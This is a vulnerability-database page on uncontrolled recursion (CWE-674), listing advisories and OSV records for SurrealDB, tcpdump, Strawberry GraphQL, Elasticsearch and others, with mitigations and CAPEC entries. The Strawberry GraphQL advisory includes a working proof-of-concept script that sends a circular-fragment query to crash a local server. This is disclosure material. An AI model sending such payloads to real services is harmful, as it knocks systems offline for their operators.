Common Weakness Enumeration

CWE-674

Allowed-with-Review

Uncontrolled Recursion

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the amount of recursion that takes place, consuming excessive resources, such as allocated memory or the program stack.

729 vulnerabilities reference this CWE, most recent first.

GHSA-Q8QP-67F9-WR3F

Vulnerability from github – Published: 2026-07-01 20:05 – Updated: 2026-07-01 20:05
VLAI
Summary
SurrealDB vulnerable to Denial of Service due to nested types annotations
Details

The SurrealDB type/kind parser did not enforce the configured recursion depth limit when parsing nested type annotations. The expression parser already enforced the limit for analogous constructs; the kind parser omitted it. An authenticated attacker could send a query with deeply nested type annotations (e.g., array<option<array<option<...>>>>) and exhaust server memory, crashing the process.

This is an incomplete fix for GHSA-6r8p-hpg7-825g, which addressed the same class of bug in the expression parser but did not cover the kind/type annotation parser code path.

Impact

An authenticated user with query execution privileges can crash a SurrealDB server with a single WebSocket message containing deeply nested type annotations.

Patches

A patch has been introduced that wraps parse_concrete_kind and the OPTION<...> arm of parse_inner_kind with enter_object_recursion!, bounding the recursive cycle parse_concrete_kind → parse_inner_kind → parse_inner_single_kind → parse_concrete_kind at the configured object_recursion_limit (default 100). Regression tests cover both cast and DEFINE FIELD paths.

  • Versions 3.1.0 and later are not affected by this issue.

Workarounds

Restrict the ability of untrusted users to execute arbitrary queries via the --deny-arbitrary-query capability flag for the affected user classes (guest, record, or system). Disabling untrusted access to the WebSocket /rpc endpoint also prevents exploitation; the HTTP /sql endpoint's 1 MiB body limit constrains nesting to a depth where OOM is not feasible.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "surrealdb"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-01T20:05:14Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "The SurrealDB type/kind parser did not enforce the configured recursion depth limit when parsing nested type annotations. The expression parser already enforced the limit for analogous constructs; the kind parser omitted it. An authenticated attacker could send a query with deeply nested type annotations (e.g., `array\u003coption\u003carray\u003coption\u003c...\u003e\u003e\u003e\u003e`) and exhaust server memory, crashing the process.\n\nThis is an incomplete fix for [GHSA-6r8p-hpg7-825g](https://github.com/surrealdb/surrealdb/security/advisories/GHSA-6r8p-hpg7-825g), which addressed the same class of bug in the expression parser but did not cover the kind/type annotation parser code path.\n\n### Impact\n\nAn authenticated user with query execution privileges can crash a SurrealDB server with a single WebSocket message containing deeply nested type annotations.\n\n### Patches\n\nA patch has been introduced that wraps `parse_concrete_kind` and the `OPTION\u003c...\u003e` arm of `parse_inner_kind` with `enter_object_recursion!`, bounding the recursive cycle `parse_concrete_kind \u2192 parse_inner_kind \u2192 parse_inner_single_kind \u2192 parse_concrete_kind` at the configured `object_recursion_limit` (default 100). Regression tests cover both cast and `DEFINE FIELD` paths.\n\n- Versions 3.1.0 and later are not affected by this issue.\n\n### Workarounds\n\nRestrict the ability of untrusted users to execute arbitrary queries via the `--deny-arbitrary-query` capability flag for the affected user classes (guest, record, or system). Disabling untrusted access to the WebSocket `/rpc` endpoint also prevents exploitation; the HTTP `/sql` endpoint\u0027s 1 MiB body limit constrains nesting to a depth where OOM is not feasible.",
  "id": "GHSA-q8qp-67f9-wr3f",
  "modified": "2026-07-01T20:05:14Z",
  "published": "2026-07-01T20:05:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/security/advisories/GHSA-q8qp-67f9-wr3f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/surrealdb/surrealdb/commit/61d509b766afdf67cc26d8203fd7dc583c8d77aa"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/surrealdb/surrealdb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SurrealDB vulnerable to Denial of Service due to nested types annotations"
}

GHSA-Q8WG-HG8M-CHWF

Vulnerability from github – Published: 2022-05-24 16:57 – Updated: 2024-04-04 02:08
VLAI
Details

The SMB parser in tcpdump before 4.9.3 has stack exhaustion in smbutil.c:smb_fdata() via recursion.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-16452"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-10-03T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "The SMB parser in tcpdump before 4.9.3 has stack exhaustion in smbutil.c:smb_fdata() via recursion.",
  "id": "GHSA-q8wg-hg8m-chwf",
  "modified": "2024-04-04T02:08:19Z",
  "published": "2022-05-24T16:57:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-16452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/the-tcpdump-group/tcpdump/commit/24182d959f661327525a20d9a94c98a8ec016778"
    },
    {
      "type": "WEB",
      "url": "https://github.com/the-tcpdump-group/tcpdump/blob/tcpdump-4.9/CHANGES"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2019/10/msg00015.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/62XY42U6HY3H2APR5EHNWCZ7SAQNMMJN"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FNYXF3IY2X65IOD422SA6EQUULSGW7FN"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/R2UDPOSGVJQIYC33SQBXMDXHH4QDSDMU"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Dec/23"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Oct/28"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20200120-0001"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT210788"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4252-1"
    },
    {
      "type": "WEB",
      "url": "https://usn.ubuntu.com/4252-2"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4547"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00050.html"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-security-announce/2019-10/msg00053.html"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2019/Dec/26"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q9G7-9JXR-WQ49

Vulnerability from github – Published: 2026-08-05 09:31 – Updated: 2026-08-06 21:31
VLAI
Details

A pre-authentication attacker could leverage type nesting to cause a StackOverflowError potentially leading to denial of service.

This issue affects Apache Qpid Broker-J: through 10.0.1.

Users are recommended to upgrade to version 10.1.0, which fixes the issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-68073"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T07:16:38Z",
    "severity": "HIGH"
  },
  "details": "A pre-authentication attacker could leverage type nesting to cause a StackOverflowError potentially leading to denial of service.\n\nThis issue affects Apache Qpid Broker-J: through 10.0.1.\n\nUsers are recommended to upgrade to version 10.1.0, which fixes the issue.",
  "id": "GHSA-q9g7-9jxr-wq49",
  "modified": "2026-08-06T21:31:33Z",
  "published": "2026-08-05T09:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-68073"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/djz1gnrk882vzjo8rykyf9bnywqbvwwr"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/04/15"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QCXQ-75WR-5CM8

Vulnerability from github – Published: 2026-05-06 23:39 – Updated: 2026-08-14 19:22
VLAI
Summary
ldap3_proto has LDAP Filter stack exhaustion
Details

Impact

LDAP queries are not validated for depth, which can cause the parser (both PEG and ASN) to exhaust the stack. This may cause a denial of service in applications that process queries.

Workarounds

N/A

References

Related to GHSA-r5fr-9gmv-jggh

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "ldap3_proto"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.7.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T23:39:47Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\nLDAP queries are not validated for depth, which can cause the parser (both PEG and ASN) to exhaust the stack. This *may* cause a denial of service in applications that process queries.\n\n### Workarounds\nN/A\n\n### References\nRelated to GHSA-r5fr-9gmv-jggh",
  "id": "GHSA-qcxq-75wr-5cm8",
  "modified": "2026-08-14T19:22:27Z",
  "published": "2026-05-06T23:39:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kanidm/ldap3/security/advisories/GHSA-qcxq-75wr-5cm8"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-r5fr-9gmv-jggh"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kanidm/ldap3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "ldap3_proto has LDAP Filter stack exhaustion"
}

GHSA-QFWV-87QJ-98XQ

Vulnerability from github – Published: 2026-06-04 14:38 – Updated: 2026-06-09 11:53
VLAI
Summary
Strawberry GraphQL has a Circular Fragment Reference DOS
Details

Summary

The QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.

Details

The determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments. By submitting a query with circular fragment references (e.g., Fragment A $\rightarrow$ Fragment B $\rightarrow$ Fragment A), the validator enters an infinite recursion.

PoC

server code

import strawberry
from fastapi import FastAPI
from strawberry.fastapi import GraphQLRouter
from strawberry.extensions import QueryDepthLimiter

@strawberry.type
class User:
    name: str = "GONA"

@strawberry.type
class Query:
    @strawberry.field
    def user(self) -> User:
        return User()

# Enable depth limiting
schema = strawberry.Schema(
    query=Query, 
    extensions=[QueryDepthLimiter(max_depth=10)]
)

app = FastAPI()
app.include_router(GraphQLRouter(schema), prefix="/graphql")

exploit

import httpx

# Circular reference: A -> B -> A -> B ...
payload = {
    "query": """
        fragment A on User {
            ...B
        }
        fragment B on User {
            ...A
        }
        query Crash {
            user {
                ...A
            }
        }
    """
}

try:
    response = httpx.post("http://127.0.0.1:8000/graphql", json=payload)
    print(response.json())
except Exception as e:
    print(f"Server crashed or timed out: {e}")

Impact

Since the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.315.6"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "strawberry-graphql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.71.0"
            },
            {
              "fixed": "0.315.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-47706"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-04T14:38:52Z",
    "nvd_published_at": "2026-06-04T15:16:54Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe QueryDepthLimiter extension is vulnerable to an Application-level DOS due to a lack of cycle detection in fragment spreads. When a query contains circular fragment references the determine_depth function enters an infinite recursion, leading to a RecursionError and crashing the validation process.\n\n### Details\nThe determine_depth function in query_depth_limiter.py recursively resolves FragmentSpreadNode without maintaining a set of visited fragments.\nBy submitting a query with circular fragment references (e.g., Fragment A $\\rightarrow$ Fragment B $\\rightarrow$ Fragment A), the validator enters an infinite recursion.\n\n### PoC\n**server code**\n```\nimport strawberry\nfrom fastapi import FastAPI\nfrom strawberry.fastapi import GraphQLRouter\nfrom strawberry.extensions import QueryDepthLimiter\n\n@strawberry.type\nclass User:\n    name: str = \"GONA\"\n\n@strawberry.type\nclass Query:\n    @strawberry.field\n    def user(self) -\u003e User:\n        return User()\n\n# Enable depth limiting\nschema = strawberry.Schema(\n    query=Query, \n    extensions=[QueryDepthLimiter(max_depth=10)]\n)\n\napp = FastAPI()\napp.include_router(GraphQLRouter(schema), prefix=\"/graphql\")\n```\n\n**exploit**\n```\nimport httpx\n\n# Circular reference: A -\u003e B -\u003e A -\u003e B ...\npayload = {\n    \"query\": \"\"\"\n        fragment A on User {\n            ...B\n        }\n        fragment B on User {\n            ...A\n        }\n        query Crash {\n            user {\n                ...A\n            }\n        }\n    \"\"\"\n}\n\ntry:\n    response = httpx.post(\"http://127.0.0.1:8000/graphql\", json=payload)\n    print(response.json())\nexcept Exception as e:\n    print(f\"Server crashed or timed out: {e}\")\n```\n\n### Impact\nSince the validation happens before execution, an attacker can cheaply trigger this recursion error to exhaust server CPU cycles and thread/worker pools",
  "id": "GHSA-qfwv-87qj-98xq",
  "modified": "2026-06-09T11:53:00Z",
  "published": "2026-06-04T14:38:52Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strawberry-graphql/strawberry/security/advisories/GHSA-qfwv-87qj-98xq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47706"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strawberry-graphql/strawberry"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strawberry-graphql/strawberry/releases/tag/0.315.7"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Strawberry GraphQL has a Circular Fragment Reference DOS"
}

GHSA-QFXP-VC85-JG39

Vulnerability from github – Published: 2026-08-06 15:32 – Updated: 2026-08-07 00:31
VLAI
Details

A bug in APR-util version 1.6.3 (and earlier) allows a stack recursion attack against any library consumer which parses XML from untrusted sources and uses the apr_xml_quote_elem() function.

Users are recommended to upgrade to version 1.6.4, which fixes this issue.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-32327"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-06T15:16:54Z",
    "severity": "CRITICAL"
  },
  "details": "A bug in APR-util version 1.6.3 (and earlier) allows a stack recursion attack against any library consumer which parses XML from untrusted sources and uses the\u00a0apr_xml_quote_elem() function.\n\nUsers are recommended to upgrade to version 1.6.4, which fixes this issue.",
  "id": "GHSA-qfxp-vc85-jg39",
  "modified": "2026-08-07T00:31:11Z",
  "published": "2026-08-06T15:32:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32327"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/hq27vj8yfno9tkwv0fpj6jksfzgxvth1"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/06/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QHP4-37X2-X9W9

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2022-05-13 01:08
VLAI
Details

An issue was discovered in Poppler 0.74.0. A recursive function call, in JBIG2Stream::readTextRegion() located in JBIG2Stream.cc, can be triggered by sending a crafted pdf file to (for example) the pdfimages binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. This is related to JBIG2Bitmap::clearToZero.

Severity
8.8 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-9545"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-03-01T19:29:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in Poppler 0.74.0. A recursive function call, in JBIG2Stream::readTextRegion() located in JBIG2Stream.cc, can be triggered by sending a crafted pdf file to (for example) the pdfimages binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. This is related to JBIG2Bitmap::clearToZero.",
  "id": "GHSA-qhp4-37x2-x9w9",
  "modified": "2022-05-13T01:08:19Z",
  "published": "2022-05-13T01:08:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9545"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.freedesktop.org/poppler/poppler/issues/731"
    },
    {
      "type": "WEB",
      "url": "https://research.loginsoft.com/bugs/recursive-function-call-in-function-jbig2streamreadtextregion-poppler-0-74-0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QHWP-454G-2GV4

Vulnerability from github – Published: 2025-09-15 00:30 – Updated: 2025-09-26 14:38
VLAI
Summary
Duplicate Advisory: express-xss-sanitizer has an unbounded recursion depth
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-hvq2-wf92-j4f3. This link is maintained to preserve external references.

Original Descripton

The express-xss-sanitizer package for Node.js has an unbounded recursion in the sanitize function (lib/sanitize.js) when processing JSON request bodies. A remote attacker can send a deeply nested payload to any endpoint that applies this sanitizer, driving excessive recursion and resource consumption (CPU) until the process becomes unresponsive or crashes (e.g., “Maximum call stack size exceeded”). This causes a denial of service. The issue is present through version 2.0.0; no fixed release is available as of this update.

Severity
6.9 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "express-xss-sanitizer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-15T20:32:22Z",
    "nvd_published_at": "2025-09-14T23:15:37Z",
    "severity": "MODERATE"
  },
  "details": "## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-hvq2-wf92-j4f3. This link is maintained to preserve external references.\n\n## Original Descripton\n\nThe `express-xss-sanitizer` package for Node.js has an unbounded recursion in the `sanitize` function (`lib/sanitize.js`) when processing JSON request bodies. A remote attacker can send a deeply nested payload to any endpoint that applies this sanitizer, driving excessive recursion and resource consumption (CPU) until the process becomes unresponsive or crashes (e.g., \u201cMaximum call stack size exceeded\u201d). This causes a denial of service. The issue is present through version 2.0.0; no fixed release is available as of this update.",
  "id": "GHSA-qhwp-454g-2gv4",
  "modified": "2025-09-26T14:38:04Z",
  "published": "2025-09-15T00:30:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59364"
    },
    {
      "type": "WEB",
      "url": "https://dbugs.ptsecurity.com/vulnerability/PT-2025-37434"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/Spendroslav/177804eaef5acfb222a550de212a1b94"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AhmedAdelFahim/express-xss-sanitizer"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/package/express-xss-sanitizer"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/cve/CVE-2025-59364"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: express-xss-sanitizer has an unbounded recursion depth",
  "withdrawn": "2025-09-26T14:38:04Z"
}

GHSA-QJ5V-CQ2V-QVGJ

Vulnerability from github – Published: 2026-08-13 21:36 – Updated: 2026-08-13 21:36
VLAI
Details

A flaw in Elasticsearch allows a low-privileged authenticated user to submit a single request containing a crafted user-supplied input. A specific internal component validates the input using a recursive routine and applies no bound to the length of the value being validated, so the validation causes the thread to exhaust its stack. The resulting fatal error is not handled by the surrounding execution paths and terminates the affected node process, producing a denial of service.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-72686"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-13T20:17:29Z",
    "severity": "MODERATE"
  },
  "details": "A flaw in Elasticsearch allows a low-privileged authenticated user to submit a single request containing a crafted user-supplied input. A specific internal component validates the input using a recursive routine and applies no bound to the length of the value being validated, so the validation causes the thread to exhaust its stack. The resulting fatal error is not handled by the surrounding execution paths and terminates the affected node process, producing a denial of service.",
  "id": "GHSA-qj5v-cq2v-qvgj",
  "modified": "2026-08-13T21:36:11Z",
  "published": "2026-08-13T21:36:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72686"
    },
    {
      "type": "WEB",
      "url": "https://discuss.elastic.co/t/elasticsearch-8-19-20-9-4-5-9-5-1-security-update-esa-2026-78/389505"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QP49-QGX5-5M26

Vulnerability from github – Published: 2026-08-03 06:31 – Updated: 2026-08-03 06:31
VLAI
Details

In Bouncy Castle for Java before 1.85, Lazy ASN.1 sequence forcing resets nesting-depth guard. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

Severity
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/U:Amber
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{
  "affected": [],
  "aliases": [
    "CVE-2026-13506"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-03T04:16:39Z",
    "severity": "HIGH"
  },
  "details": "In Bouncy Castle for Java before 1.85, Lazy ASN.1 sequence forcing resets nesting-depth guard. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).",
  "id": "GHSA-qp49-qgx5-5m26",
  "modified": "2026-08-03T06:31:44Z",
  "published": "2026-08-03T06:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13506"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/commit/77454da9b3dcaaa2991412d1c3c1a6e1a338ff84"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bcgit/bc-java/wiki/CVE-2026-13506"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Amber",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation
Implementation

Ensure that an end condition will be reached under all logic conditions. The end condition may include checking against the depth of recursion and exiting with an error if the recursion goes too deep. The complexity of the end condition contributes to the effectiveness of this action.

Mitigation
Implementation

Increase the stack size.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

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